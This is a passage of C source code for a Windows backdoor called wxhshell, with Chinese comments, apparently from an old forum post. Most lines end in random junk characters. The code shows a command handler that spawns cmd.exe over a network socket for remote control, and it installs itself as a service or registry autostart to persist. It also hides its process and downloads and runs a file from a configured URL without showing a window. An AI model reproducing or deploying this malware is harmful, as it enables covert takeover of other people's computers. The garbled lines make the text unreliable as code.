    switch(cmd[0]) { rOA{8)jIa*  
  ay`A Gr  
  // 帮助 [\,Jy8t)\  
  case '?': { rcU*6`IWA  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); E*G {V j  
    break; aYrbB#  
  } fj:q_P67o  
  // 安装 *)xjMTJ%  
  case 'i': { ['JIMcD  
    if(Install()) m>&:)K}m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w6<zPrA  
    else G/y;o3/[Z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "Kc1@EX=  
    break; Su*f`~G];  
    } ;+(EmD:Q  
  // 卸载 JSu+/rI1  
  case 'r': { 9D,/SZ-v  
    if(Uninstall()) D5$| vv1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1T/ 72+R0  
    else H%G|8,4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3u@=]0ZN  
    break; 4ZCD@C  
    } r9y(j z  
  // 显示 wxhshell 所在路径 NGL,j\(~7  
  case 'p': { y$`@QRW  
    char svExeFile[MAX_PATH]; L,_Z:\^  
    strcpy(svExeFile,"\n\r"); o3,}X@p  
      strcat(svExeFile,ExeFile); xjH({(/B>a  
        send(wsh,svExeFile,strlen(svExeFile),0); (K`@OwD  
    break; +(/' b' *  
    } =l+~}/7'Z  
  // 重启 "fOxS\er  
  case 'b': { GFfZ TA  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); (Q[(]dfc  
    if(Boot(REBOOT)) 9six]T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zY2o;-d|4  
    else { Ux+UcBKm-  
    closesocket(wsh); ]%eyrbU  
    ExitThread(0); yP0XA=,Y  
    } SI9PgC  
    break; u}eLf'^ZCe  
    } 7QM1E(cMg  
  // 关机 JN> h:  
  case 'd': { a_U[!`/ w  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); |<!xD iB  
    if(Boot(SHUTDOWN)) q"$C)o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nNpXkI:  
    else { rt C:3fDy  
    closesocket(wsh); <RJ+f-  
    ExitThread(0); BXa.XZ<n(  
    } l9vJ]   
    break; @BoZZ  
    } !eA6Ejf  
  // 获取shell o|Kd\<rY  
  case 's': { \ fSo9$  
    CmdShell(wsh); *yqke<o9)  
    closesocket(wsh); ES ?6  
    ExitThread(0); C8AR ^F W  
    break; w" ,ab j  
  } P 9?I]a)G  
  // 退出 1BOv|xPjZ  
  case 'x': { N?><%fra  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); {+jO/ZQu5  
    CloseIt(wsh); 8c5=Px2\  
    break; wj 15Og?  
    } j5MUP&/g3  
  // 离开 Ls/*&u  
  case 'q': { NKMVp/66D  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 04#<qd&ob@  
    closesocket(wsh); h.4FY<  
    WSACleanup(); 9=.7[-6i9  
    exit(1); dfWtLY  
    break; hUe\sv!x?  
        } W<T Ui51Y  
  } (N?nOOQ  
  } P#-p* 4  
349BQ5ND  
  // 提示信息 to(lE2`.da  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); x\aCZ  
}  V0!kvIv  
  } qflOi8  
SS!b`  
  return; g5lK&-yu]  
} lY[\eQ 1:  
yi*EE%  
// shell模块句柄 ?G 'sb}.  
int CmdShell(SOCKET sock) _*-b0}T   
{ 58t~? 2E  
STARTUPINFO si; wQ?Z y;/S  
ZeroMemory(&si,sizeof(si)); rm4t  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; bKk7w#y  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; +do* C =z  
PROCESS_INFORMATION ProcessInfo; 8\rAx P}=  
char cmdline[]="cmd"; 8^!ib/@v"  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); &(h@]F!  
  return 0; N5 mhs#  
} Mo]aB:a  
'#lc?Y(pJ2  
// 自身启动模式 ?d_vD@+\  
int StartFromService(void) ?N]G;%3/  
{ ;i!$rL  
typedef struct C:z7R" yj  
{ j-zWckT{  
  DWORD ExitStatus; m@"p#pt(_  
  DWORD PebBaseAddress; y\R-=Am".  
  DWORD AffinityMask; ~^>g<YR[  
  DWORD BasePriority; \m(>Q  
  ULONG UniqueProcessId; DI[  
  ULONG InheritedFromUniqueProcessId; LBIEG_/m  
}   PROCESS_BASIC_INFORMATION; BirnCfj/2  
|Elz{i-  
PROCNTQSIP NtQueryInformationProcess; -qG7,t  
tG[v@-O  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; mh35S!I3I^  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; e}iv vs2  
tR(L>ZG{  
  HANDLE             hProcess; 0yxwsBLy  
  PROCESS_BASIC_INFORMATION pbi; [6)vD@  
0aGAF ]  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); W?0u_F  
  if(NULL == hInst ) return 0; J]|S0JC`  
5uU{!JuSa  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); |;R-q8  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); )2J#pz?.  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ~R7{gCqdr  
}] . |7h  
  if (!NtQueryInformationProcess) return 0; JC9OL.Ob  
sI@kS ^  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Kr%`L/%  
  if(!hProcess) return 0; n +dRAIqB  
lr$,=P`  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; eNrwkV^  
ZK8DziO  
  CloseHandle(hProcess); Oyp)Wm;@  
p<&dy^mS  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); S9 @*g3  
if(hProcess==NULL) return 0; `tm(3pJ  
10*^  
HMODULE hMod; <<6gsKP  
char procName[255]; Q`UgtL  
unsigned long cbNeeded; `!.c_%m2  
!%QbE[Kl>  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); f0g&=k{OD  
F>at^6^  
  CloseHandle(hProcess); H}lbF0`  
uN6xOq/  
if(strstr(procName,"services")) return 1; // 以服务启动 }TU2o3Q  
&sGLm~m#  
  return 0; // 注册表启动 8\[qR_LV  
} \?AA:U*  
jxnb<!|?H@  
// 主模块 >c.HH}O0W  
int StartWxhshell(LPSTR lpCmdLine) #M92=IH  
{ XNkQ0o0  
  SOCKET wsl; 4<U6jB5  
BOOL val=TRUE; E9j(%kQ2  
  int port=0; ~PCS_  
  struct sockaddr_in door; ,@t#)HV  
<@=w4\5j9  
  if(wscfg.ws_autoins) Install(); [q!)Y:|u_>  
1JN/oq;  
port=atoi(lpCmdLine); XU$\.g p-  
G_?qY#"(  
if(port<=0) port=wscfg.ws_port; (rSBzM]H  
#^q@ra  
  WSADATA data; "`5BAv;u  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; [Kd"M[1[ <  
7,3v,N|  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   FBrJVaF  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); &qZ:"k  
  door.sin_family = AF_INET; }Yp]A  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); SZD@<3Nb  
  door.sin_port = htons(port); /f -\ 3  
P87qUC  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { xiQ;lE   
closesocket(wsl); 8 9f{8B]z  
return 1; LzkwgcR  
} P3V }cGZ  
pw1&WP&?3  
  if(listen(wsl,2) == INVALID_SOCKET) { D i #Em[  
closesocket(wsl); R~(_m#6`:  
return 1; GZ/vUe  
} WhR'MkfL  
  Wxhshell(wsl); `Yc>I!iN  
  WSACleanup(); !:Clzlg   
T13Jno  
return 0; Fv9n>%W&  
j0[9Cj^%c  
} rfxLCiV  
-AU!c^-o  
// 以NT服务方式启动 lDhuL;9e  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) #me'1/z  
{ _M7NL^B&  
DWORD   status = 0; `?:X-dh_  
  DWORD   specificError = 0xfffffff; d512Y[ R  
2u'h,on?  
  serviceStatus.dwServiceType     = SERVICE_WIN32; h^"OC$  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; C8.MoFfhe  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; {F+iL&e)  
  serviceStatus.dwWin32ExitCode     = 0; .\+%Q)?h:  
  serviceStatus.dwServiceSpecificExitCode = 0; 8?&u5  
  serviceStatus.dwCheckPoint       = 0; <',bqsg[  
  serviceStatus.dwWaitHint       = 0; %QrpFE5 V5  
2s:$4]K D  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 4E DwZR>./  
  if (hServiceStatusHandle==0) return; l@ W?qw  
}Ii5[nRN  
status = GetLastError(); z gDc=  
  if (status!=NO_ERROR) iSxuor ^;  
{ S^4T#/  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; |VD}:  
    serviceStatus.dwCheckPoint       = 0; |*WE@L5  
    serviceStatus.dwWaitHint       = 0; 73OYHp_j  
    serviceStatus.dwWin32ExitCode     = status; -Lbi eS%  
    serviceStatus.dwServiceSpecificExitCode = specificError; 1 ojy_  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); L@HWm;aN  
    return; Zm!5X9^!  
  } !q_fcd^c  
;J3 (EB  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ^w|apI~HSE  
  serviceStatus.dwCheckPoint       = 0; x#_0 6  
  serviceStatus.dwWaitHint       = 0;  G(1y_t  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); K-b'jP\  
} 5?n@.hcL  
x<%V&<z1g  
// 处理NT服务事件,比如:启动、停止  9> k-";  
VOID WINAPI NTServiceHandler(DWORD fdwControl) MKN],l N  
{ J< U,~ra\  
switch(fdwControl) &p2fMVWJ7  
{ 7D%}( pX  
case SERVICE_CONTROL_STOP: (G 3S+T 9  
  serviceStatus.dwWin32ExitCode = 0; VU[4 W8f  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 5E!G  
  serviceStatus.dwCheckPoint   = 0; `vFYe N;  
  serviceStatus.dwWaitHint     = 0; $m-rn'Q  
  { Ev7fvz =  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $M=W`E[g  
  } otgU6S7F  
  return; qOk=:1`3  
case SERVICE_CONTROL_PAUSE:  )6 _+  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; C`0;  
  break; l6lyRJ  
case SERVICE_CONTROL_CONTINUE: ;{k`nv_6  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; .oNs8._:  
  break; |Vs?yW  
case SERVICE_CONTROL_INTERROGATE: \Y{^Q7!>:8  
  break; lp;= f  
}; vF,iHzv  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 71# ipZ  
} , 9C~%c0Pw  
(haYY]W\  
// 标准应用程序主函数 ?Hd/!I&  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ?{O >&<~  
{ wA#w] 8SM  
%fyah}=  
// 获取操作系统版本 ]8qFxJ+2^  
OsIsNt=GetOsVer(); _K?{DnTb  
GetModuleFileName(NULL,ExeFile,MAX_PATH); yLI)bn!"  
JP t=~e(  
  // 从命令行安装 ?<iinx   
  if(strpbrk(lpCmdLine,"iI")) Install(); z[I3k  
Nn_n@K  
  // 下载执行文件 nKzS2 u=:Y  
if(wscfg.ws_downexe) { BSGC.>$s  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) A80r@)i  
  WinExec(wscfg.ws_filenam,SW_HIDE); cq=ker zQ  
} ,y+}0q-Ou  
i@C1}o-/  
if(!OsIsNt) { 2)A% 'Akf  
// 如果时win9x,隐藏进程并且设置为注册表启动 uq>\pO&P  
HideProc(); XRMYR97  
StartWxhshell(lpCmdLine); B3lP#ckh  
} J\BTrN7  
else )\bA'LuFy  
  if(StartFromService()) E8Jy!8/X9T  
  // 以服务方式启动 $X9`~Sv _  
  StartServiceCtrlDispatcher(DispatchTable); tR,&|?0  
else R3;,EL{H&  
  // 普通方式启动 8<Y*@1*j  
  StartWxhshell(lpCmdLine); B J0P1vh6M  
%V+hm5Q  
return 0; P,|%7'?Y  
}
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只看该作者 1 发表于: 2006-10-10
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